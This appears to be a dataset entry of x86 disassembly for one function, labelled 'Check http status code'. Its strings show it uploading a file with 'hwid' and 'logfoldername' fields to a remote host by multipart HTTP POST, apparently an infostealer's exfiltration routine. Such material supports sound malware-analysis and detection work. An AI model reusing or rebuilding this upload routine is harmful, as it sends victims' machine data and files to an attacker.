Function at 0x4076d0
Capabilities:
Check http status code

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9e8
mov eax, dword [0x4b9510]
xor eax, ebp
mov dword [ebp - 0x48], eax
mov dword [ebp - 8], 0
call dword [0x4bccdc]
test eax, eax
jne 0x4076fb
xor eax, eax
jmp 0x407c33
mov dword [ebp - 4], 0
push 0x2710
push 0x40
call dword [0x4bc8f8]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x407c30
xor eax, eax
mov word [ebp - 0x4f8], ax
push 0x256
push 0
lea ecx, [ebp - 0x4f6]
push ecx
call fcn.00493180
add esp, 0xc
xor edx, edx
mov word [ebp - 0x2a0], dx
push 0x256
push 0
lea eax, [ebp - 0x29e]
push eax
call fcn.00493180
add esp, 0xc
push 0x3c
push 0
lea ecx, [ebp - 0x44]
push ecx
call fcn.00493180
add esp, 0xc
mov dword [ebp - 0x44], 0x3c
lea edx, [ebp - 0x4f8]
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x30], 0x12c
lea eax, [ebp - 0x2a0]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0x12c
lea ecx, [ebp - 0x44]
push ecx
push 0
push 0
mov edx, dword [ebp + 0x24]
push edx
call dword [0x4bcce0]
cmp eax, 1
jne 0x407c26
push 0
push 0
push 0
push 1
mov eax, dword [ebp + 0x28]
push eax
call dword [0x4bcce4]
mov dword [ebp - 0x4fc], eax
cmp dword [ebp - 0x4fc], 0
je 0x407c26
mov dword [ebp - 0x500], 0xaa0
push 4
lea ecx, [ebp - 0x500]
push ecx
push 0x54
mov edx, dword [ebp - 0x4fc]
push edx
call dword [0x4bcce8]
cmp eax, 1
jne 0x407c26
push 0
movzx eax, word [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x4f8]
push ecx
mov edx, dword [ebp - 0x4fc]
push edx
call dword [0x4bccf0]
mov dword [ebp - 0x504], eax
cmp dword [ebp - 0x504], 0
je 0x407c10
movzx eax, word [ebp - 0x2c]
sub eax, 0x1bb
neg eax
sbb eax, eax
and eax, 0xff800000
add eax, 0x800000
mov dword [ebp - 0x508], eax
mov ecx, dword [ebp - 0x508]
push ecx
push 0
push 0
push 0
lea edx, [ebp - 0x2a0]
push edx
push 0x4a7d6c
mov eax, dword [ebp - 0x504]
push eax
call dword [0x4bccf4]
mov dword [ebp - 0x50c], eax
cmp dword [ebp - 0x50c], 0
je 0x407bfa
mov ecx, dword [ebp + 8]
mov edx, dword [ebp - 0x50c]
mov dword [ecx], edx
mov dword [ebp - 0x510], 0
cmp dword [ebp + 0xc], 1
jne 0x4078bc
push 0
mov eax, dword [ebp + 0x14]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
push 1
push 0
mov edx, dword [ebp - 0x50c]
push edx
call dword [0x4bcd10]
mov dword [ebp - 0x510], eax
cmp dword [ebp + 0xc], 0
je 0x4078d9
cmp dword [ebp + 0xc], 1
jne 0x407be4
cmp dword [ebp - 0x510], 1
jne 0x407be4
xor eax, eax
mov word [ebp - 0x9d0], ax
push 0xc6
push 0
lea ecx, [ebp - 0x9ce]
push ecx
call fcn.00493180
add esp, 0xc
push str.Content_Type:_multipart_form_data__boundarypart_r_n
push 0x64
lea edx, [ebp - 0x9d0]
push edx
call fcn.004930ae
add esp, 0xc
push 0x20000000
push 0xffffffffffffffff
lea eax, [ebp - 0x9d0]
push eax
mov ecx, dword [ebp - 0x50c]
push ecx
call dword [0x4bcd14]
mov edx, dword [ebp - 0x34]
push edx
push str.Host:__s
push 0x64
lea eax, [ebp - 0x9d0]
push eax
call fcn.004930ae
add esp, 0x10
push 0x20000000
push 0xffffffffffffffff
lea ecx, [ebp - 0x9d0]
push ecx
mov edx, dword [ebp - 0x50c]
push edx
call dword [0x4bcd14]
mov eax, dword [ebp + 0x20]
push eax
mov ecx, dword [ebp + 0x30]
push ecx
mov edx, dword [ebp + 0x2c]
push edx
push str.__part_r_nContent_Type:_text_plain__charset_UTF_8__r_nContent_Disposition:_form_data__name_hwid__r_n_r_n_S_r_n__part_r_nContent_Type:_text_plain__charset_UTF_8__r_nContent_Disposition:_form_data__name_logfoldername__r_n_r_n_S_r_n__part_r_nContent_Type:_application_octet_stream_r_nContent_Disposition:_form_data__name_uploaded_file___filename__S__r_n_r_n
push 0x1388
push 0x4bb4f8
call fcn.004936c6
add esp, 0x18
mov dword [ebp - 0x904], eax
mov byte [ebp - 0x900], 0
push 0x3e7
push 0
lea eax, [ebp - 0x8ff]
push eax
call fcn.00493180
add esp, 0xc
push str._r_n__part__
push 0x64
lea ecx, [ebp - 0x900]
push ecx
call fcn.004936c6
add esp, 0xc
mov dword [ebp - 0x908], eax
mov edx, dword [ebp + 0x1c]
add edx, dword [ebp - 0x904]
add edx, dword [ebp - 0x908]
mov dword [ebp - 0x514], edx
push 0
mov eax, dword [ebp - 0x514]
push eax
push 0
push 0
push 0
push 0
mov ecx, dword [ebp - 0x50c]
push ecx
call dword [0x4bccf8]
cmp eax, 1
jne 0x407be4
mov dword [ebp - 0x9d4], 0
lea edx, [ebp - 0x9d4]
push edx
mov eax, dword [ebp - 0x904]
push eax
push 0x4bb4f8
mov ecx, dword [ebp - 0x50c]
push ecx
call dword [0x4bcd18]
cmp eax, 1
jne 0x407be4
lea edx, [ebp - 0x9d4]
push edx
mov eax, dword [ebp + 0x1c]
push eax
mov ecx, dword [ebp + 0x18]
push ecx
mov edx, dword [ebp - 0x50c]
push edx
call dword [0x4bcd18]
cmp eax, 1
jne 0x407be4
lea eax, [ebp - 0x9d4]
push eax
mov ecx, dword [ebp - 0x908]
push ecx
lea edx, [ebp - 0x900]
push edx
mov eax, dword [ebp - 0x50c]
push eax
call dword [0x4bcd18]
cmp eax, 1
jne 0x407be4
push 0
mov ecx, dword [ebp - 0x50c]
push ecx
call dword [0x4bccfc]
cmp eax, 1
jne 0x407be4
mov dword [ebp - 0x9d8], 0
push 0
lea edx, [ebp - 0x9d8]
push edx
push 0
push 0
push 0x13
mov eax, dword [ebp - 0x50c]
push eax
call dword [0x4bcd00]
test eax, eax
jne 0x407be4
mov dword [ebp - 0x9dc], 0
mov ecx, dword [ebp - 0x9d8]
push ecx
push 0x40
call dword [0x4bc8f8]
mov dword [ebp - 0x9dc], eax
cmp dword [ebp - 0x9dc], 0
je 0x407be4
push 0
lea edx, [ebp - 0x9d8]
push edx
mov eax, dword [ebp - 0x9dc]
push eax
push 0
push 0x13
mov ecx, dword [ebp - 0x50c]
push ecx
call dword [0x4bcd00]
cmp eax, 1
jne 0x407bd7
mov edx, dword [ebp - 0x9dc]
push edx
call fcn.0049528c
add esp, 4
mov dword [ebp - 0x9e0], eax
cmp dword [ebp - 0x9e0], 0xc8
jne 0x407bd7
mov dword [ebp - 0x9e4], 0
lea eax, [ebp - 0x9e4]
push eax
mov ecx, dword [ebp - 0x50c]
push ecx
call dword [0x4bcd04]
cmp eax, 1
jne 0x407bd7
cmp dword [ebp - 0x9e4], 0
jbe 0x407bd7
lea edx, [ebp - 0x9e8]
push edx
mov eax, dword [ebp - 0x9e4]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0x50c]
push edx
call dword [0x4bcd08]
cmp eax, 1
jne 0x407bd7
push 1
push 0x4a7f50
mov eax, dword [ebp - 4]
push eax
call fcn.00493d22
add esp, 0xc
test eax, eax
jne 0x407bb0
mov dword [ebp - 8], 1
jmp 0x407bd7
push 1
push 0x4a7f54
mov ecx, dword [ebp - 4]
push ecx
call fcn.00493d22
add esp, 0xc
test eax, eax
jne 0x407bd0
mov dword [ebp - 8], 2
jmp 0x407bd7
mov dword [ebp - 8], 0
mov edx, dword [ebp - 0x9dc]
push edx
call dword [0x4bc904]
cmp dword [ebp - 0x50c], 0
je 0x407bfa
mov eax, dword [ebp - 0x50c]
push eax
call dword [0x4bcd0c]
cmp dword [ebp - 0x504], 0
je 0x407c10
mov ecx, dword [ebp - 0x504]
push ecx
call dword [0x4bcd0c]
cmp dword [ebp - 0x4fc], 0
je 0x407c26
mov edx, dword [ebp - 0x4fc]
push edx
call dword [0x4bcd0c]
mov eax, dword [ebp - 4]
push eax
call dword [0x4bc904]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x48]
xor ecx, ebp
call fcn.004931fa
mov esp, ebp
pop ebp
ret